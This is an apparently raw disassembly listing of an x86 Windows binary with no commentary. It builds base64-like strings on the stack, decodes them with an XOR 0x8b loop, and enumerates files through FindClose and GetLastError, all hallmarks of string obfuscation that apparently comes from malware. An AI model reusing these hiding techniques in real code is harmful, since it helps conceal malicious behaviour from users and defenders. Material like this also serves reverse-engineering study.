mov dword [ebp - 0x32c], 0x67306850
mov dword [ebp - 0x328], 0x50305350
mov dword [ebp - 0x324], 0x7634794f
mov dword [ebp - 0x320], 0x7949434f
mov dword [ebp - 0x31c], 0x32387842
mov dword [ebp - 0x318], 0x52596764
mov dword [ebp - 0x314], 0x2f596d42
mov dword [ebp - 0x310], 0x56495246
mov dword [ebp - 0x30c], 0x4b45324d
mov dword [ebp - 0x308], 0x30345148
mov dword [ebp - 0x304], 0x6759414e
mov dword [ebp - 0x300], 0x4d307743
mov dword [ebp - 0x2fc], 0x7673514b
mov dword [ebp - 0x2f8], 0x50454446
mov dword [ebp - 0x2f4], 0x6e686a44
mov dword [ebp - 0x2f0], 0x4a55694a
mov dword [ebp - 0x2ec], 0x324d524b
mov dword [ebp - 0x2e8], 0x58634259
mov dword [ebp - 0x2e4], 0x30527a50
mov dword [ebp - 0x2e0], 0x38494343
mov dword [ebp - 0x2dc], 0x77596746
mov dword [ebp - 0x2d8], 0x6e30524d
mov dword [ebp - 0x2d4], 0x5a416a45
mov dword [ebp - 0x2d0], 0x5a516a4c
mov dword [ebp - 0x2cc], 0x6d776d65
mov dword [ebp - 0x2c8], 0x7138674c
mov dword [ebp - 0x2c4], 0x31415350
mov dword [ebp - 0x2c0], 0x78517842
mov dword [ebp - 0x2bc], 0x70496a41
mov dword [ebp - 0x2b8], 0x56347a47
mov dword [ebp - 0x2b4], 0x496b5342
mov dword [ebp - 0x2b0], 0x6b344864
mov dword [ebp - 0x2ac], 0x4730534b
mov dword [ebp - 0x2a8], 0x6263524c
mov dword [ebp - 0x2a4], 0x5a30474d
mov dword [ebp - 0x2a0], 0x5677684f
mov dword [ebp - 0x29c], 0x7456474e
mov dword [ebp - 0x298], 0x3142414e
mov dword [ebp - 0x294], 0x6f6f5142
mov dword [ebp - 0x290], 0x7a593346
mov dword [ebp - 0x28c], 0x4c306843
mov dword [ebp - 0x288], 0x70455148
mov dword [ebp - 0x284], 0x3431334b
mov dword [ebp - 0x280], 0x6b634146
mov dword [ebp - 0x27c], 0x6c746a41
mov dword [ebp - 0x278], 0x58345363
mov dword [ebp - 0x274], 0x68397a49
mov dword [ebp - 0x270], 0x434d7742
mov dword [ebp - 0x26c], 0x39386845
mov dword [ebp - 0x268], 0x67346a41
mov dword [ebp - 0x264], 0x42414141
mov word [ebp - 0x260], 0x4152
mov dword [ebp - 0x540], 0x686b5446
mov dword [ebp - 0x53c], 0x7651434e
mov dword [ebp - 0x538], 0x69497a42
mov dword [ebp - 0x534], 0x6a45534d
mov dword [ebp - 0x530], 0x48594150
mov dword [ebp - 0x52c], 0x6e594145
mov dword [ebp - 0x528], 0x6b597a45
mov dword [ebp - 0x524], 0x6b454359
mov dword [ebp - 0x520], 0x426f7847
mov dword [ebp - 0x51c], 0x59514345
mov dword [ebp - 0x518], 0x3741544b
mov dword [ebp - 0x514], 0x5041434f
mov dword [ebp - 0x510], 0x54593241
mov dword [ebp - 0x50c], 0x50494850
mov dword [ebp - 0x508], 0x43556865
mov dword [ebp - 0x504], 0x6d454346
mov dword [ebp - 0x500], 0x6f77674b
mov dword [ebp - 0x4fc], 0x6d41424e
mov dword [ebp - 0x4f8], 0x34777a65
mov dword [ebp - 0x4f4], 0x7a35534e
mov dword [ebp - 0x4f0], 0x45737a44
mov dword [ebp - 0x4ec], 0x6530584d
mov dword [ebp - 0x4e8], 0x4873434c
mov dword [ebp - 0x4e4], 0x70416e4a
mov dword [ebp - 0x4e0], 0x51636741
mov dword [ebp - 0x4dc], 0x546f6a64
lea eax, [ebp - 0x25e]
mov dword [ebp - 0x4d8], 0x39734347
push eax
lea eax, [ebp - 0x454]
mov dword [ebp - 0x4d4], 0x6a454349
push eax
lea ecx, [ebp - 0x7e4]
mov dword [ebp - 0x4d0], 0x46776a49
mov dword [ebp - 0x4cc], 0x766f7747
mov dword [ebp - 0x4c8], 0x58554363
mov dword [ebp - 0x4c4], 0x596b5259
mov dword [ebp - 0x4c0], 0x57597a45
mov dword [ebp - 0x4bc], 0x75307946
mov dword [ebp - 0x4b8], 0x71417841
mov dword [ebp - 0x4b4], 0x5077674e
mov dword [ebp - 0x4b0], 0x5959524b
mov dword [ebp - 0x4ac], 0x4a6f7a49
mov dword [ebp - 0x4a8], 0x6e685750
mov dword [ebp - 0x4a4], 0x4b63684c
mov dword [ebp - 0x4a0], 0x6963434d
mov dword [ebp - 0x49c], 0x7a737759
mov dword [ebp - 0x498], 0x6c637742
mov dword [ebp - 0x494], 0x70636a59
mov dword [ebp - 0x490], 0x75735466
mov dword [ebp - 0x48c], 0x79457950
mov dword [ebp - 0x488], 0x70384243
mov dword [ebp - 0x484], 0x6867684b
mov dword [ebp - 0x480], 0x66675149
mov dword [ebp - 0x47c], 0x37785364
mov dword [ebp - 0x478], 0x4d634741
mov dword [ebp - 0x474], 0x30396e45
mov dword [ebp - 0x470], 0x476f7743
mov dword [ebp - 0x46c], 0x33354143
mov dword [ebp - 0x468], 0x57516947
mov dword [ebp - 0x464], 0x44496e4e
mov dword [ebp - 0x460], 0x2f517a43
mov dword [ebp - 0x45c], 0x41414141
mov word [ebp - 0x458], 0x676e
call fcn.004675e0
mov ecx, dword [ebp - 0x668]
mov esi, eax
call fcn.004b8320
push eax
lea ecx, [ebp - 0x6f0]
call fcn.004aec30
push eax
push 0
lea ecx, [ebp - 0x6e7]
call fcn.00467470
sub esp, 0xc
mov ecx, esp
push eax
push dword [esi + 4]
push dword [esi]
call fcn.004676d0
lea eax, [ebp - 0x7a0]
push eax
call fcn.0047fb90
add esp, 0x10
mov ecx, eax
call fcn.0046bf20
push eax
lea eax, [ebp - 0x6f8]
push eax
call fcn.004b8520
add esp, 0xc
mov ecx, eax
call fcn.004680f0
mov edi, eax
lea ecx, [ebp - 0x804]
lea eax, [ebp - 0x456]
push eax
lea eax, [ebp - 0x540]
push eax
call fcn.004675e0
push 0
lea ecx, [ebp - 0x6ea]
mov esi, eax
call fcn.00467470
sub esp, 0xc
mov ecx, esp
push eax
push dword [esi + 4]
push dword [esi]
call fcn.004676d0
lea eax, [ebp - 0x794]
push eax
call fcn.0047fb90
add esp, 0x10
mov ecx, eax
call fcn.0046bf20
push 0xc
lea ecx, [ebp - 0x788]
call fcn.0046b880
lea ecx, [ebp - 0x788]
call fcn.00467710
mov ecx, edi
xor esi, esi
lea edx, [ecx + 1]
jmp 0x4cba30
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4cba30
sub ecx, edx
je 0x4cba70
jmp 0x4cba40
mov al, byte [esi + edi]
lea ecx, [ebp - 0x788]
xor al, 0x8b
mov byte [ebp - 0x259], al
lea eax, [ebp - 0x259]
push eax
call fcn.0046daf0
mov ecx, edi
inc esi
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4cba63
sub ecx, edx
cmp esi, ecx
jb 0x4cba40
lea ecx, [ebp - 0x788]
call fcn.00467b10
lea ecx, [ebp - 0x794]
call fcn.00467ae0
lea ecx, [ebp - 0x6f8]
call fcn.004679f0
lea ecx, [ebp - 0x7a0]
call fcn.00467ae0
lea ecx, [ebp - 0x6f0]
call fcn.004679f0
lea ecx, [ebp - 0x660]
call fcn.004b8310
mov ecx, dword [ebp - 0x668]
push eax
call fcn.004c3100
test eax, eax
jne 0x4cc235
mov dword [ebp - 0x370], 0x36777a41
mov dword [ebp - 0x36c], 0x6f73774e
mov dword [ebp - 0x368], 0x2f596a4a
mov dword [ebp - 0x364], 0x69675345
mov dword [ebp - 0x360], 0x37346948
mov dword [ebp - 0x35c], 0x78554349
mov dword [ebp - 0x358], 0x68566d4d
mov dword [ebp - 0x354], 0x35415265
mov dword [ebp - 0x350], 0x32635450
mov dword [ebp - 0x34c], 0x69786959
mov dword [ebp - 0x348], 0x34777a49
mov dword [ebp - 0x344], 0x7a67794a
mov dword [ebp - 0x340], 0x74346a61
mov dword [ebp - 0x33c], 0x7555434a
mov dword [ebp - 0x338], 0x73384764
mov dword [ebp - 0x334], 0x6d307746
mov dword [ebp - 0x330], 0x46307a64
mov dword [ebp - 0x32c], 0x64774243
mov dword [ebp - 0x328], 0x66776844
mov dword [ebp - 0x324], 0x6b6b5845
mov dword [ebp - 0x320], 0x6a465741
mov dword [ebp - 0x31c], 0x4751694d
mov dword [ebp - 0x318], 0x3464784a
mov dword [ebp - 0x314], 0x7264684a
mov dword [ebp - 0x310], 0x77554142
mov dword [ebp - 0x30c], 0x75596741
mov dword [ebp - 0x308], 0x4b4d6943
mov dword [ebp - 0x304], 0x6d4a6d4c
mov dword [ebp - 0x300], 0x77496a49
mov dword [ebp - 0x2fc], 0x49735344
mov dword [ebp - 0x2f8], 0x5659434d
mov dword [ebp - 0x2f4], 0x4e517850
mov dword [ebp - 0x2f0], 0x506b524b
mov dword [ebp - 0x2ec], 0x5045435a
mov dword [ebp - 0x2e8], 0x6b785148
mov dword [ebp - 0x2e4], 0x32394350
mov dword [ebp - 0x2e0], 0x6f384463
mov dword [ebp - 0x2dc], 0x69525243
mov dword [ebp - 0x2d8], 0x71674763
mov dword [ebp - 0x2d4], 0x326c7a62
mov dword [ebp - 0x2d0], 0x686c5448
mov dword [ebp - 0x2cc], 0x33775146
mov dword [ebp - 0x2c8], 0x2b454165
mov dword [ebp - 0x2c4], 0x70497a46
mov dword [ebp - 0x2c0], 0x646b444e
mov dword [ebp - 0x2bc], 0x7a6b5263
mov dword [ebp - 0x2b8], 0x6c594846
mov dword [ebp - 0x2b4], 0x44456845
mov dword [ebp - 0x2b0], 0x3545684a
mov dword [ebp - 0x2ac], 0x57387a4e
mov dword [ebp - 0x2a8], 0x63494342
mov dword [ebp - 0x2a4], 0x3335784a
mov dword [ebp - 0x2a0], 0x5667444f
mov dword [ebp - 0x29c], 0x6851414f
mov dword [ebp - 0x298], 0x6e73514b
mov dword [ebp - 0x294], 0x38787a43
mov dword [ebp - 0x290], 0x6c494143
mov dword [ebp - 0x28c], 0x506f6861
mov dword [ebp - 0x288], 0x7767694f
mov dword [ebp - 0x284], 0x78734164
mov dword [ebp - 0x280], 0x4c306d63
mov dword [ebp - 0x27c], 0x77466966
mov dword [ebp - 0x278], 0x36463250
mov dword [ebp - 0x274], 0x5534674a
mov dword [ebp - 0x270], 0x4c34674a
mov dword [ebp - 0x26c], 0x386c5249
mov dword [ebp - 0x268], 0x4141414e
mov word [ebp - 0x264], 0x4a41
mov byte [ebp - 0x262], 0x73
mov dword [ebp - 0x594], 0x686b5446
mov dword [ebp - 0x590], 0x7651434e
mov dword [ebp - 0x58c], 0x69497a42
mov dword [ebp - 0x588], 0x6a45534d
mov dword [ebp - 0x584], 0x39784250
mov dword [ebp - 0x580], 0x39685844
mov dword [ebp - 0x57c], 0x3059534c
mov dword [ebp - 0x578], 0x3645674f
mov dword [ebp - 0x574], 0x6130534c
mov dword [ebp - 0x570], 0x41344163
mov dword [ebp - 0x56c], 0x6559784b
mov dword [ebp - 0x568], 0x4f673343
lea eax, [ebp - 0x261]
mov dword [ebp - 0x564], 0x3456474a
push eax
lea eax, [ebp - 0x370]
mov dword [ebp - 0x560], 0x30394248
push eax
lea ecx, [ebp - 0x7ec]
mov dword [ebp - 0x55c], 0x2b677846
mov dword [ebp - 0x558], 0x794a4344
mov dword [ebp - 0x554], 0x6d4d4242
mov dword [ebp - 0x550], 0x6a77694d
mov dword [ebp - 0x54c], 0x30414166
mov dword [ebp - 0x548], 0x3230584e
mov dword [ebp - 0x544], 0x39635748
mov dword [ebp - 0x540], 0x48517748
mov dword [ebp - 0x53c], 0x6c6b6965
mov dword [ebp - 0x538], 0x6777534f
mov dword [ebp - 0x534], 0x4e674342
mov dword [ebp - 0x530], 0x7338414d
mov dword [ebp - 0x52c], 0x31783344
mov dword [ebp - 0x528], 0x59387947
mov dword [ebp - 0x524], 0x556f5143
mov dword [ebp - 0x520], 0x62516e4f
mov dword [ebp - 0x51c], 0x32306d4e
mov dword [ebp - 0x518], 0x596b4342
mov dword [ebp - 0x514], 0x2b45534c
mov dword [ebp - 0x510], 0x6b496849
mov dword [ebp - 0x50c], 0x696b784a
mov dword [ebp - 0x508], 0x4d45444c
mov dword [ebp - 0x504], 0x41387a41
mov dword [ebp - 0x500], 0x6d784261
mov dword [ebp - 0x4fc], 0x58675750
mov dword [ebp - 0x4f8], 0x46457741
mov dword [ebp - 0x4f4], 0x4f77674b
mov dword [ebp - 0x4f0], 0x3438484f
mov dword [ebp - 0x4ec], 0x62496d63
mov dword [ebp - 0x4e8], 0x58385442
mov dword [ebp - 0x4e4], 0x46347966
mov dword [ebp - 0x4e0], 0x7a6c5146
mov dword [ebp - 0x4dc], 0x654d5446
mov dword [ebp - 0x4d8], 0x6d645243
mov dword [ebp - 0x4d4], 0x47556a41
mov dword [ebp - 0x4d0], 0x4934424b
mov dword [ebp - 0x4cc], 0x6e5a5450
mov dword [ebp - 0x4c8], 0x30414345
mov dword [ebp - 0x4c4], 0x45346e49
mov dword [ebp - 0x4c0], 0x556f674f
mov dword [ebp - 0x4bc], 0x63415341
mov dword [ebp - 0x4b8], 0x41385441
mov dword [ebp - 0x4b4], 0x6d635246
mov dword [ebp - 0x4b0], 0x35734864
mov dword [ebp - 0x4ac], 0x3438684f
mov dword [ebp - 0x4a8], 0x7a354441
mov dword [ebp - 0x4a4], 0x77555745
mov dword [ebp - 0x4a0], 0x7a6c6943
mov dword [ebp - 0x49c], 0x716f5466
mov dword [ebp - 0x498], 0x79314143
mov dword [ebp - 0x494], 0x2b466749
mov dword [ebp - 0x490], 0x52344163
mov dword [ebp - 0x48c], 0x62494847
mov dword [ebp - 0x488], 0x446b784f
mov dword [ebp - 0x484], 0x686f5748
mov dword [ebp - 0x480], 0x49517a43
mov dword [ebp - 0x47c], 0x6c59474d
mov dword [ebp - 0x478], 0x54346742
mov dword [ebp - 0x474], 0x4e517849
mov dword [ebp - 0x470], 0x41735159
mov dword [ebp - 0x46c], 0x74633343
mov dword [ebp - 0x468], 0x7778784c
mov dword [ebp - 0x464], 0x49597a46
mov dword [ebp - 0x460], 0x7a4d474e
mov dword [ebp - 0x45c], 0x41417743
mov word [ebp - 0x458], 0x4e41
mov byte [ebp - 0x456], 0x34
call fcn.004675e0
push ebx
lea ecx, [ebp - 0x64c]
mov esi, eax
call fcn.004aec30
push eax
push 0
lea ecx, [ebp - 0x6e9]
call fcn.00467470
sub esp, 0xc
mov ecx, esp
push eax
push dword [esi + 4]
push dword [esi]
call fcn.004676d0
lea eax, [ebp - 0x724]
push eax
call fcn.0047fb90
add esp, 0x10
mov ecx, eax
call fcn.0046bf20
push eax
lea eax, [ebp - 0x704]
push eax
call fcn.004b8520
add esp, 0xc
mov ecx, eax
call fcn.004680f0
mov edi, eax
lea ecx, [ebp - 0x658]
lea eax, [ebp - 0x455]
push eax
lea eax, [ebp - 0x594]
push eax
call fcn.004675e0
push 0
lea ecx, [ebp - 0x6eb]
mov esi, eax
call fcn.00467470
sub esp, 0xc
mov ecx, esp
push eax
push dword [esi + 4]
push dword [esi]
call fcn.004676d0
lea eax, [ebp - 0x7ac]
push eax
call fcn.0047fb90
add esp, 0x10
mov ecx, eax
call fcn.0046bf20
push 0xc
lea ecx, [ebp - 0x714]
call fcn.0046b880
lea ecx, [ebp - 0x714]
call fcn.00467710
mov ecx, edi
xor esi, esi
lea edx, [ecx + 1]
jmp 0x4cc180
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4cc180
sub ecx, edx
je 0x4cc1c0
jmp 0x4cc190
mov al, byte [esi + edi]
lea ecx, [ebp - 0x714]
xor al, 0x8b
mov byte [ebp - 0x259], al
lea eax, [ebp - 0x259]
push eax
call fcn.0046daf0
mov ecx, edi
inc esi
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4cc1b3
sub ecx, edx
cmp esi, ecx
jb 0x4cc190
lea ecx, [ebp - 0x714]
call fcn.00467b10
lea ecx, [ebp - 0x7ac]
call fcn.00467ae0
lea ecx, [ebp - 0x704]
call fcn.004679f0
lea ecx, [ebp - 0x724]
call fcn.00467ae0
lea ecx, [ebp - 0x64c]
call fcn.004679f0
mov edi, dword [ebp - 0x6d8]
mov ecx, edi
call fcn.004c8550
push ecx
mov esi, eax
mov ecx, esp
lea eax, [ebp - 0x6cc]
push eax
call fcn.004aea00
mov ecx, edi
call fcn.00468ca0
push ecx
mov ecx, esp
sub eax, esi
push eax
push esi
push ecx
mov ecx, edi
call fcn.004ec050
lea ecx, [ebp + 0xc]
call fcn.004b8730
jmp 0x4cc23b
mov edi, dword [ebp - 0x6d8]
lea ecx, [ebp - 0x660]
call fcn.004b5930
lea ecx, [ebp - 0x6cc]
call fcn.004b5930
mov ebx, dword [ebp - 0x664]
jmp 0x4c91d0
push ebx
call dword [sym.imp.KERNEL32.dll_FindClose]
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x12
je 0x4cc7f6
sub esp, 0xc
mov dword [ebp - 0x54c], 0x36777a41
mov ecx, esp
mov dword [ebp - 0x548], 0x6f73774e
mov dword [ebp - 0x544], 0x2f596a4a
mov dword [ebp - 0x540], 0x69675345
mov dword [ebp - 0x53c], 0x37346948
mov dword [ebp - 0x538], 0x78554349
mov dword [ebp - 0x534], 0x68566d4d
mov dword [ebp - 0x530], 0x6b4d5265
mov dword [ebp - 0x52c], 0x67596a4f
mov dword [ebp - 0x528], 0x74456759
mov dword [ebp - 0x524], 0x3955694b
mov dword [ebp - 0x520], 0x68705350
mov dword [ebp - 0x51c], 0x2b736a50
mov dword [ebp - 0x518], 0x684d7a50
mov dword [ebp - 0x514], 0x74386d4a
mov dword [ebp - 0x510], 0x676b444c
mov dword [ebp - 0x50c], 0x6a456a49
mov dword [ebp - 0x508], 0x7a387a4b
mov dword [ebp - 0x504], 0x7745794f
mov dword [ebp - 0x500], 0x3334514b
mov dword [ebp - 0x4fc], 0x47495348
mov dword [ebp - 0x4f8], 0x51514449
mov dword [ebp - 0x4f4], 0x68644447
mov dword [ebp - 0x4f0], 0x75635442
mov dword [ebp - 0x4ec], 0x6e557747
mov dword [ebp - 0x4e8], 0x6830524c
mov dword [ebp - 0x4e4], 0x4c384463
mov dword [ebp - 0x4e0], 0x38454161
mov dword [ebp - 0x4dc], 0x326b4349
mov dword [ebp - 0x4d8], 0x676b3363
mov dword [ebp - 0x4d4], 0x634d5143
mov dword [ebp - 0x4d0], 0x35397961
mov dword [ebp - 0x4cc], 0x594d5765
mov dword [ebp - 0x4c8], 0x694d6e41
mov dword [ebp - 0x4c4], 0x4c736e4b
mov dword [ebp - 0x4c0], 0x6e4d4841
mov dword [ebp - 0x4bc], 0x6f30684c
mov dword [ebp - 0x4b8], 0x56384743
mov dword [ebp - 0x4b4], 0x6b73544c
mov dword [ebp - 0x4b0], 0x3778484a
mov dword [ebp - 0x4ac], 0x3577794d
mov dword [ebp - 0x4a8], 0x324d7743
mov dword [ebp - 0x4a4], 0x466b7948
mov dword [ebp - 0x4a0], 0x32347944
mov dword [ebp - 0x49c], 0x6477774f
mov dword [ebp - 0x498], 0x41384345
mov dword [ebp - 0x494], 0x65496a46
mov dword [ebp - 0x490], 0x4f77684d
mov dword [ebp - 0x48c], 0x49596747
mov dword [ebp - 0x488], 0x7373684b
mov dword [ebp - 0x484], 0x51346846
mov dword [ebp - 0x480], 0x706f445a
mov dword [ebp - 0x47c], 0x48344247
mov dword [ebp - 0x478], 0x7751334e
mov dword [ebp - 0x474], 0x716f7750
mov dword [ebp - 0x470], 0x726f4244
mov dword [ebp - 0x46c], 0x44415843
mov dword [ebp - 0x468], 0x58775459
mov dword [ebp - 0x464], 0x39734442
mov dword [ebp - 0x460], 0x376c6847
mov dword [ebp - 0x45c], 0x416b7a48
mov dword [ebp - 0x458], 0x2f424141
mov dword [ebp - 0x6bc], 0x686b5446
mov dword [ebp - 0x6b8], 0x7651434e
mov dword [ebp - 0x6b4], 0x69497a42
mov dword [ebp - 0x6b0], 0x6a45534d
mov dword [ebp - 0x6ac], 0x42414250
mov dword [ebp - 0x6a8], 0x334a4263
mov dword [ebp - 0x6a4], 0x7555334a
mov dword [ebp - 0x6a0], 0x5873544d
mov dword [ebp - 0x69c], 0x7246434c
mov dword [ebp - 0x698], 0x6134774d
mov dword [ebp - 0x694], 0x47637a50
mov dword [ebp - 0x690], 0x34566845
mov dword [ebp - 0x68c], 0x744d6d42
mov dword [ebp - 0x688], 0x724d6749
mov dword [ebp - 0x684], 0x41414141
mov word [ebp - 0x680], 0x5148
mov dword [ecx], 0
push dword [ebp - 0x64c]
lea eax, [ebp - 0x454]
mov dword [ecx + 4], 0
push eax
lea eax, [ebp - 0x54c]
mov dword [ecx + 8], 0
push eax
push 0
call fcn.004660a0
lea eax, [ebp - 0x724]
push eax
call fcn.0047fb90
add esp, 0x10
mov esi, dword [eax]
mov eax, dword [eax + 4]
mov dword [ebp - 0x668], esi
sub eax, esi
je 0x4cce82
sub esp, 0xc
lea eax, [ebp - 0x67e]
mov ecx, esp
push dword [ebp - 0x64c]
mov dword [ecx], 0
push eax
lea eax, [ebp - 0x6bc]
mov dword [ecx + 4], 0
push eax
push 0
mov dword [ecx + 8], 0
call fcn.004660a0
lea eax, [ebp - 0x6e4]
push eax
call fcn.0047fb90
add esp, 0x10
mov ecx, dword [eax + 4]
sub ecx, dword [eax]
je 0x4cce8c
xor eax, eax
xor edi, edi
mov dword [ebp - 0x65c], eax
xor ecx, ecx
mov dword [ebp - 0x658], eax
xor edx, edx
mov dword [ebp - 0x654], eax
xor ebx, ebx
lea eax, [esi + 1]
mov dword [ebp - 0x65c], edi
mov dword [ebp - 0x658], ecx
mov dword [ebp - 0x654], edx
mov dword [ebp - 0x6d4], ebx
mov dword [ebp - 0x64c], eax
mov edi, edi
mov al, byte [esi]
inc esi
test al, al
jne 0x4cc660
sub esi, dword [ebp - 0x64c]
je 0x4cc7b2
jmp 0x4cc680
mov esi, dword [ebp - 0x668]
lea eax, [ebp - 0x64e]
mov bl, byte [ebx + esi]
xor bl, 0x8b
mov byte [ebp - 0x64e], bl
cmp eax, ecx
jae 0x4cc70b
cmp edi, eax
ja 0x4cc70b
mov ebx, eax
sub ebx, edi
cmp ecx, edx
jne 0x4cc700
mov eax, edx
sub eax, ecx
cmp eax, 1
jae 0x4cc700
mov eax, edi
sub eax, ecx
dec eax
cmp eax, 1
jb 0x4cce60
sub edx, edi
or eax, 0xffffffff
mov esi, edx
sub ecx, edi
shr esi, 1
inc ecx
sub eax, esi
cmp eax, edx
jae 0x4cc6d5
xor edx, edx
jmp 0x4cc6d7
add edx, esi
cmp edx, ecx
cmovb edx, ecx
lea ecx, [ebp - 0x65c]
push edx
call fcn.0046ae20
mov edx, dword [ebp - 0x654]
mov ecx, dword [ebp - 0x658]
mov edi, dword [ebp - 0x65c]
mov esi, dword [ebp - 0x668]
test ecx, ecx
je 0x4cc76d
mov al, byte [edi + ebx]
mov byte [ecx], al
jmp 0x4cc76d
cmp ecx, edx
jne 0x4cc767
mov eax, edx
sub eax, ecx
cmp eax, 1
jae 0x4cc767
mov eax, edi
sub eax, ecx
dec eax
cmp eax, 1
jb 0x4cce60
sub edx, edi
or eax, 0xffffffff
mov esi, edx
sub ecx, edi
shr esi, 1
inc ecx
sub eax, esi
cmp eax, edx
jae 0x4cc73c
xor edx, edx
jmp 0x4cc73e
add edx, esi
cmp edx, ecx
cmovb edx, ecx
lea ecx, [ebp - 0x65c]
push edx
call fcn.0046ae20
mov edx, dword [ebp - 0x654]
mov ecx, dword [ebp - 0x658]
mov edi, dword [ebp - 0x65c]
mov esi, dword [ebp - 0x668]
test ecx, ecx
je 0x4cc76d
mov byte [ecx], bl
mov ebx, dword [ebp - 0x6d4]
lea eax, [esi + 1]
inc ecx
mov dword [ebp - 0x64c], eax
inc ebx
mov dword [ebp - 0x658], ecx
mov dword [ebp - 0x6d4], ebx
lea ebx, [ebx]
mov al, byte [esi]
inc esi
test al, al
jne 0x4cc790
sub esi, dword [ebp - 0x64c]
cmp ebx, esi
jb 0x4cc680
test edi, edi
je 0x4cc7b2
push edi
call fcn.0053c1e0
add esp, 4
mov eax, dword [ebp - 0x6e4]
test eax, eax
je 0x4cc7e3
push eax
call fcn.0053c1e0
add esp, 4
mov dword [ebp - 0x6e4], 0
mov dword [ebp - 0x6e0], 0
mov dword [ebp - 0x6dc], 0
mov eax, dword [ebp - 0x724]
test eax, eax
je 0x4cc7f6
push eax
call fcn.0053c1e0
add esp, 4
mov dword [ebp - 0x37c], 0x36777a41
mov dword [ebp - 0x378], 0x6f73774e
mov dword [ebp - 0x374], 0x2f596a4a
mov dword [ebp - 0x370], 0x69675345
mov dword [ebp - 0x36c], 0x37346948
mov dword [ebp - 0x368], 0x78554349
mov dword [ebp - 0x364], 0x68566d4d
mov dword [ebp - 0x360], 0x35675265
mov dword [ebp - 0x35c], 0x39514461
mov dword [ebp - 0x358], 0x6968434d
mov dword [ebp - 0x354], 0x686b544e
mov dword [ebp - 0x350], 0x7651434e
mov dword [ebp - 0x34c], 0x6c636a61
mov dword [ebp - 0x348], 0x6c4d6949
mov dword [ebp - 0x344], 0x3741694f
mov dword [ebp - 0x340], 0x3234434c
mov dword [ebp - 0x33c], 0x2b6f5359
mov dword [ebp - 0x338], 0x6b4d5465
mov dword [ebp - 0x334], 0x67596a4f
mov dword [ebp - 0x330], 0x67303259
mov dword [ebp - 0x32c], 0x3477444a
mov dword [ebp - 0x328], 0x6d4d694f
mov dword [ebp - 0x324], 0x4c6b4449
mov dword [ebp - 0x320], 0x4e63424a
mov dword [ebp - 0x31c], 0x4477514a
mov dword [ebp - 0x318], 0x66346e43
mov dword [ebp - 0x314], 0x2b5a7a42
mov dword [ebp - 0x310], 0x6555684e
mov dword [ebp - 0x30c], 0x6141674b
mov dword [ebp - 0x308], 0x36306a64
mov dword [ebp - 0x304], 0x3359684b
mov dword [ebp - 0x300], 0x7a736841
mov dword [ebp - 0x2fc], 0x496f324c
mov dword [ebp - 0x2f8], 0x71596e48
mov dword [ebp - 0x2f4], 0x66774148
mov dword [ebp - 0x2f0], 0x586b4350
mov dword [ebp - 0x2ec], 0x2b777864
mov dword [ebp - 0x2e8], 0x796f5450
mov dword [ebp - 0x2e4], 0x4b416741
mov dword [ebp - 0x2e0], 0x3451694f
mov dword [ebp - 0x2dc], 0x47305349
mov dword [ebp - 0x2d8], 0x30685143
mov dword [ebp - 0x2d4], 0x6874514c
mov dword [ebp - 0x2d0], 0x586b674b
mov dword [ebp - 0x2cc], 0x4c346e48
mov dword [ebp - 0x2c8], 0x50387846
mov dword [ebp - 0x2c4], 0x6d49784a
mov dword [ebp - 0x2c0], 0x35557a43
mov dword [ebp - 0x2bc], 0x71453265
mov dword [ebp - 0x2b8], 0x55635363
mov dword [ebp - 0x2b4], 0x5a676842
mov dword [ebp - 0x2b0], 0x46417761
mov dword [ebp - 0x2ac], 0x61736d65
mov dword [ebp - 0x2a8], 0x30345441
mov dword [ebp - 0x2a4], 0x7a496d50
mov dword [ebp - 0x2a0], 0x6f494444
mov dword [ebp - 0x29c], 0x5a635143
mov dword [ebp - 0x298], 0x51387850
mov dword [ebp - 0x294], 0x6767574f
mov dword [ebp - 0x290], 0x7a787747
mov dword [ebp - 0x28c], 0x5149674a
mov dword [ebp - 0x288], 0x356f5143
mov dword [ebp - 0x284], 0x44597a44
mov dword [ebp - 0x280], 0x42517a41
mov dword [ebp - 0x27c], 0x5455774e
mov dword [ebp - 0x278], 0x7830524e
mov dword [ebp - 0x274], 0x364d694b
mov dword [ebp - 0x270], 0x66554246
mov dword [ebp - 0x26c], 0x4b6f7965
mov dword [ebp - 0x268], 0x3438674f
mov dword [ebp - 0x264], 0x41414141
mov word [ebp - 0x260], 0x416b
mov dword [ebp - 0x51c], 0x686b5446
mov dword [ebp - 0x518], 0x7651434e
mov dword [ebp - 0x514], 0x69497a42
mov dword [ebp - 0x510], 0x6a45534d
mov dword [ebp - 0x50c], 0x77384250
mov dword [ebp - 0x508], 0x4f595364
mov dword [ebp - 0x504], 0x4f51784a
mov dword [ebp - 0x500], 0x5a595750
mov dword [ebp - 0x4fc], 0x39596750
sub esp, 0xc
mov dword [ebp - 0x4f8], 0x36566e45
mov ecx, esp
mov dword [ebp - 0x4f4], 0x65304366
lea eax, [ebp - 0x25e]
mov dword [ebp - 0x4f0], 0x49556e4e
mov dword [ebp - 0x4ec], 0x316b5449
push dword [ebp - 0x64c]
mov dword [ebp - 0x4e8], 0x316f6741
push eax
lea eax, [ebp - 0x37c]
mov dword [ebp - 0x4e4], 0x2f5a6746
mov dword [ebp - 0x4e0], 0x2f386a49
mov dword [ebp - 0x4dc], 0x3577524f
mov dword [ebp - 0x4d8], 0x3938444d
mov dword [ebp - 0x4d4], 0x324d6a44
mov dword [ebp - 0x4d0], 0x56383343
mov dword [ebp - 0x4cc], 0x61635244
mov dword [ebp - 0x4c8], 0x3734584d
mov dword [ebp - 0x4c4], 0x46515149
mov dword [ebp - 0x4c0], 0x77736945
mov dword [ebp - 0x4bc], 0x356f784c
mov dword [ebp - 0x4b8], 0x54736a41
mov dword [ebp - 0x4b4], 0x4f59424d
mov dword [ebp - 0x4b0], 0x41415746
mov dword [ebp - 0x4ac], 0x69636841
mov dword [ebp - 0x4a8], 0x36424349
mov dword [ebp - 0x4a4], 0x6e45424c
mov dword [ebp - 0x4a0], 0x5673334a
mov dword [ebp - 0x49c], 0x4f776848
mov dword [ebp - 0x498], 0x6a596a42
mov dword [ebp - 0x494], 0x506b5249
mov dword [ebp - 0x490], 0x4e554363
mov dword [ebp - 0x48c], 0x57596845
mov dword [ebp - 0x488], 0x7738574b
mov dword [ebp - 0x484], 0x35384444
mov dword [ebp - 0x480], 0x326c4863
mov dword [ebp - 0x47c], 0x63675843
